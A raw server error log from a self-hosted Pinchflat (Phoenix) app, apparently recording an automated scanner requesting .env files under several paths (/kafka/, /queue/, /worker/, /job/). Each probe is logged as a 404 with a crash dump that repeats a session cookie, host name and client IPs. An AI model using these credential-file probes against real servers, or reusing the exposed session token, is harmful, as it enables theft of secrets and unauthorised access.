Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 199, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:22.515 [info] GET /kafka/.env 02:10:22.516 [debug] QUERY OK source="settings" db=0.2ms idle=195.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.516 [debug] QUERY OK source="settings" db=0.0ms idle=132.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.516 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:22.516 [error] #PID<0.3504.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 200) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /kafka/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /kafka/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/kafka/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 200, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3504.0>, params: %{}, path_info: ["kafka", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/kafka/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk684RkO4STRwAATHB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/kafka/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 200, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /kafka/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/kafka/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 200, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:22.577 [info] GET /queue/.env 02:10:22.578 [debug] QUERY OK source="settings" db=0.5ms idle=193.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.578 [debug] QUERY OK source="settings" db=0.1ms idle=125.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.578 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:22.578 [error] #PID<0.3505.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 201) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /queue/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /queue/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/queue/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 201, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3505.0>, params: %{}, path_info: ["queue", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/queue/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk69HBRQvGfqcAATIB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/queue/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 201, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /queue/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/queue/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 201, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:22.648 [info] GET /worker/.env 02:10:22.650 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=195.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.650 [debug] QUERY OK source="settings" db=0.2ms idle=134.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.650 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:22.651 [error] #PID<0.3506.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 202) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /worker/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /worker/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/worker/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 202, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3506.0>, params: %{}, path_info: ["worker", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/worker/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk69YFCCNzb48AATJB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/worker/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 202, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /worker/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/worker/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 202, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: (truncated) 02:10:22.718 [info] GET /job/.env 02:10:22.719 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=202.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.720 [debug] QUERY OK source="settings" db=0.2ms idle=141.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.720 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:22.721 [error] #PID<0.3507.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 203) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /job/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /job/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/job/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 203, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => 